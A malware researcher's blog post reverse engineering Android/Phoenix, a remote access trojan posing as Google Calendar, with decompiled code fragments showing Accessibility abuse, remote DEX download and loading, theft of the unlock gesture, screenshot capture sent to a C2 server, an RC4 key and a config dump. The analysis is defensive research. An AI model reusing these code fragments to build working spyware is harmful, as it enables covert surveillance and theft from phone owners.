Reverse engineering of Android/Phoenix

6 min readFeb 6, 2024


Android/Phoenix is a malicious Remote Access Tool. Its main goal is to extensively spy on the victim’s phone (grab all screenshots, steal the unlock gesture etc). The attacker controls the infected phone via various predefined commands sent on a websocket.

This blog post contains the reverse engineering of sample 6485ead2248298b48d4e677d3fb740b8ce8688bc7b4adb7a4d2ac3af827da46b of mid January 2024. The sample poses as a Google Calendar application.

Update May 13, 2024. @TuringAlex shared leaked sources of Phoenix Android applications and C2 panel. Was able to confirm my reverse engineering is correct 😉

The malware poses as a Google Calendar application and asks the user to enable Accessibility for it.

Overview with DroidLysis

DroidLysis finds the package name and the main activity… but actually there are 2 potential main activities: fake and IndexACT.

DroidLysis says the sample isn’t packed, but it uses DexClassLoader and ClassLoader. This usually happens when a remote DEX is downloaded and installed.
The sample uses the Accessibility API (com/service/app/Services/Access), Device Administrator API (com/service/app/Main/ReceiverDeviceAdmin), encryption (com/service/app/Bundle/stringDecrypter), presumably disables doze mode (com/service/app/Services/utils), steals incoming SMS and discusses with a remote server.

DroidLysis identifies the remote server:


Static reverse engineering shows that fake is a fake activity that loads an URL hxxps:// (non malicious on Feb 5, 2024), while the real malicious code starts from IndexACT.

The malware starts:

- AccessActivity. As expected, the activity requests access to the Accessibility API. The page it displays is loaded as a WebView, whose HTML content is base64 decoded from a hard-coded resource string.

// code to detect if the Accessibility API is enabled (from utils class)
ComponentName componentName0 = new ComponentName(context0, class0);
String s = Settings.Secure.getString(context0.getContentResolver(), “enabled_accessibility_services”);
if(s == null) {
return false;

// code to display the webview (from AccessActivity class)
webView0.addJavascriptInterface(new WebAppInterface(this, this), this.consts.string_1);
String s = this.getString(string.access);
try {
webView0.loadDataWithBaseURL(null, new String(Base64.decode(s, 0), this.consts.strUTF_8), this.consts.string_2, this.consts.strUTF_8, null);

- HintService. This service displays a Notification to ask the victim to grant access to the Accessibility API.

Notification.Builder notification$Builder0 = new Notification.Builder(HintService.this.getApplicationContext(), “test”).setTicker(“Enable accessibility”).setSmallIcon(mipmap.ic_launcher).setContentTitle(HintService.this.consts.hint_notify_title).setContentText(HintService.this.consts.hint_notify_text).setOngoing(true).setAutoCancel(true);
Intent intent0 = new Intent(HintService.this.getApplicationContext(), AccessActivity.class).addFlags(0x10000000).addFlags(0x20000000).addFlags(0x40000000);
intent0.putExtra(“fromNotification”, true);
notification$Builder0.setContentIntent(PendingIntent.getActivity(HintService.this.getApplicationContext(), 0, intent0, 0x4000000));
Notification notification0 = notification$;
notification0.flags |= 0x20;
notifmgr.notify(0x30E, notification0);

- kingservice. This is usually related to KingRoot, an Android rooting application. In this case however it is not related to KingRoot and is used to start the malicious tasks of the malware. It starts a SMS receiver (smsreceiver) which will log incoming SMS, and a boot receiver (BootReceiverService) which monitors if the victim is in front of his/her smartphone or not.

if(intent0.getAction().equals(“android.intent.action.SCREEN_OFF”)) {
EndlessService.utl.SettingsWrite(context0, “userPresent”, “0”);
if(intent0.getAction().equals("android.intent.action.USER_PRESENT")) {
EndlessService.utl.SettingsWrite(context0, "userPresent", "1");

Besides SMS receiver and Boot Receiver, the main malicious tasks started by kingservice are in App.runMainTasks.
It starts communication with the remote server (Netmanager service), requests device administrator rights (AccessAdm activity), locks the device (by a call to lockNow() of DevicePolicyManager), and requests victim to ignore battery optimizations.

Communication with the remote server

The malware communicates to a remote server via 2 different channels:

1. Via HTTP, on port 4000.
2. Via a web socket, on port 8000

Both ports do not respond any longer.

HTTP communication

The malware sends an HTTP GET request to hxxp://

 public String httpRequest(Context context0, String s) {
String s1 = this.SettingsRead(context0, this.consts.urlAdminPanel);
this.Log(“Connect”, “” + s1);
return new RequestHttp().sendRequest(s1 + this.consts.str_gate, s);

The action to perform and data to send are provided as arguments to the GET request.
For example, when the malware checks the remote server is available, it contacts hxxp://

The victim’s data is encrypted with RC4 (key is podEID53t29v) + RC4.
Data is a JSON object with several entries:

  • bot id
  • victim’s phone number
  • if the malware is device administrator or not
  • if the victim has enabled Play Protect or not
  • if key guard is enabled or not
  • if Accessibility API was enabled or not
  • if the malware is set as the default SMS app or not
  • battery level
  • if the remote DEX was downloaded or not. Indeed, a remote DEX will be downloaded, installed and dynamically run on the victim’s phone.

This is the piece of code which downloads a base64 encoded DEX.

public void downloadModuleDex(Context context0, String bot_id) {
JSONObject json = new JSONObject();
try {
json.put(“idbot”, bot_id);
catch(JSONException unused_ex) { }

String response = this.trafDeCr(this.httpRequest(context0, this.consts.str_downloaddex_action + this.trafEnCr(json.toString())));
this.Log(“downloadModuleDex”, “Download Module: “+ response.length());
if(response.length() > 10000) {
this.Log(“downloadModuleDex”, “Save Module”);
byte[] arr_b = Base64.decode(response.getBytes(), 0);
try {
FileOutputStream fileOutputStream0 = new FileOutputStream(new File(context0.getDir(this.consts.string_apk, 0), this.consts.nameModule), true);
this.SettingsWrite(context0, “statDownloadModule”, “1”);

URL for malware to report information to the C2. In the sample I analyzed, the sendKeylogger, sendSmsLog and sendInjectionLogs actions did not seem to be used.

In the sample, I analyzed the actions sendKeylogger, sendSmsLog and sendInjectionLogs. They are called from the downloaded DEX only.

The logs are encrypted and sent via HTTP. The method sendLogsKeylogger is not called by the main DEX. It is called by the remotely downloadable DEX.

Web socket communication

Some other information are sent to a remote server’s web socket.

Web socket URLs

For example, this is how the malware steals the phone’s unlock gesture:

JSONObject json = new JSONObject();
json.put(“id”, Access.this.id_bot);
json.put(“date”, simpleDateFormat0.format(date0));
json.put(“type”, “unlock”);
json.put(“text”, Access.this.gestureTexts.toString());
json.put(“gesture”, Access.this.currenGestureRecroding.toString());
JSONArray jSONArray0 = new JSONArray();
Access.this.gestureTexts = jSONArray0;
if(Access.this.consts.ssl.booleanValue()) {
Access.this.sendPostRequest(“https://” + Access.this.consts.ws_url + “/gesture”, json.toString());
else {
Access.this.sendPostRequest(“http://” + Access.this.consts.ws_url + “/gesture”, json.toString());

Bot commands

The botmaster issues commands on the web socket, which start or stop various tasks on the device.

Non exhaustive list of commands the bot master can issue through the web socket.

Details of screen capture

The screen capture service is started by bot master command start_vnc. This sends a custom action to the CaptureService:

private void startCaptureService() {
Intent intent0 = new Intent(this, CaptureService.class);
if(Build.VERSION.SDK_INT >= 26) {

When the CaptureService receives the action, it starts a CaptureActivity:

public int onStartCommand(Intent intent0, int v, int v1) {
if(“”.equals(intent0.getAction())) {
this.startForeground(1, this.createNotification());
Intent intent1 = new Intent(this, CaptureActivity.class);
return 2;

The capture activity implements a OnImageAvailableListener, which takes a screenshot each time a new image is created (this is a better idea than randomly taking a screenshot every x seconds regardless of activity). The image is Base64 encoded and broadcasted as a intent.

private void sendBroadcast(String s) {
Intent intent0 = new Intent(“”);
intent0.putExtra(“base64Image”, s);

The message is received by a screenCaptureReceiver which sends the image to the websocket:

this.screenCaptureReceiver = new BroadcastReceiver() {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context0, Intent intent) {
String base64img = intent.getStringExtra(“base64Image”);
if(base64img != “”) {
JSONObject jSONObject0 = new JSONObject();
try {
jSONObject0.put(“bot”, Access.this.id_bot);
jSONObject0.put(“image”, base64img);

if(Access.this.consts.ssl.booleanValue()) {
Access.this.sendPostRequest(“https://” + Access.this.consts.ws_url + “/image”, jSONObject0.toString());


Shared Settings

The malware uses a shared preferences file to store its configuration.

Non exhaustive list of shared preferences file

In utils:

this.SettingsWrite(context0, this.consts.packageNameActivityInject, ViewManager.class.getCanonicalName());
this.SettingsWrite(context0, this.consts.logsContacts, this.consts.str_null);
this.SettingsWrite(context0, this.consts.logsSavedSMS, this.consts.str_null);
this.SettingsWrite(context0, this.consts.logsApplications, this.consts.str_null);
this.SettingsWrite(context0, this.consts.killApplication, this.consts.str_null);
this.SettingsWrite(context0, this.consts.urls, this.consts.str_null);
this.SettingsWrite(context0, this.consts.getPermissionsToSMS, this.consts.str_null);
this.SettingsWrite(context0, this.consts.startInstalledTeamViewer, this.consts.str_null);
this.SettingsWrite(context0, this.consts.schetBootReceiver, this.consts.str_step);
this.SettingsWrite(context0, this.consts.schetAdmin, this.consts.str_step);
this.SettingsWrite(context0, this.consts.day1PermissionSMS, this.consts.str_1);
this.SettingsWrite(context0, this.consts.string_138, this.consts.str_null);
this.SettingsWrite(context0, this.consts.start_admin, this.consts.str_1);
this.SettingsWrite(context0, this.consts.undead, “0”);
this.SettingsWrite(context0, “protecttry”, this.consts.str_null);
this.SettingsWrite(context0, “firststart”, this.consts.str_1);
this.SettingsWrite(context0, “inj_start”, “0”);
this.SettingsWrite(context0, “old_start_inj”, “0”);
this.SettingsWrite(context0, “app_inject”, “”);
this.SettingsWrite(context0, “nameInject”, “”);


At startup, the settings are:

<string name="timeCC">-1</string>
<string name="old_start_inj">0</string>
<string name="arrayInjection"></string>
<string name="actionSettingInection"></string>
<string name="statBanks">0</string>
<string name="installapk">0</string>
<string name="sms_sdk_Q"></string>
<string name="checkupdateInjection"></string>
<string name="timeSinceKnock">2024-02-06 13:57:07</string>
<string name="endlessServiceStatus"></string>
<string name="websocket">0</string>
<string name="starterService"></string>
<string name="undead">0</string>
<string name="tag">phoenix_0401</string>
<string name="statProtect">0</string>
<string name="logsSavedSMS"></string>
<string name="logsApplications"></string>
<string name="start_admin">1</string>
<string name="protecttry"></string>
<string name="getPermissionsToSMS"></string>
<string name="packageNameActivityInject"></
<string name="lockDevice">0</string>
<string name="activityAccessibilityVisible">1</string>
<string name="startInstalledTeamViewer"></string>
<string name="paranoid">0</string>
<string name="whileStartUpdateInection"></string>
<string name="hiddenSMS"></string>
<string name="schetAdmin">0</string>
<string name="urlAdminPanel"></string>
<string name="firststart">1</string>
<string name="idbot">5uir</string>
<string name="statCards">0</string>
<string name="timeProtect">-1</string>
<string name="inj_start">0</string>
<string name="unlock_pass_found">true</string>
<string name="app_inject"></string>
<string name="display_width">1080</string>
<string name="logsContacts"></string>
<string name="checkProtect">2</string>
<string name="miuiperm">0</string>
<string name="offSound">0</string>
<string name="urls"></string>
<string name="activeInjection">0</string>
<string name="statDownloadModule">0</string>
<string name="getIdentifier">2131492865</string>
<string name="statusInstall"></string>
<string name="schetBootReceiver">3</string>
<string name="initialization">good</string>
<string name="packageName">com.application.chronme</string>
<string name="key">podEID53t29v</string>
<string name="startpush"></string>
<string name="timeInject">-1</string>
<string name="killApplication"></string>
<string name="dataKeylogger"></string>
<string name="timeMails">-1</string>
<string name="LogSMS">KingService: Service started::endLog::</string>
<string name="idSettings"></string>
<string name="kill"></string>
<string name="statAdmin">0</string>
<string name="autoClick"></string>
<string name="timesAdminPerm">0</string>
<string name="packageNameDefultSmsMenager">
<string name="timestop">0</string>
<string name="keylogger">1</string>
<string name="activeDevice">0</string>
<string name="statMails">0</string>
<string name="display_height">1794</string>
<string name="userPresent">0</string>
<string name="step">0</string>
<string name="day1PermissionSMS">1</string>
<string name="statAccessibilty">0</string>
<string name="listSaveLogsInjection"></string>
<string name="goOffProtect"></string>
<string name="timeWorking">55</string>
<string name="nameInject"></string>

— the Crypto Girl




Mobile and IoT malware researcher. The postings on this account are solely my own opinion and do not represent my employer.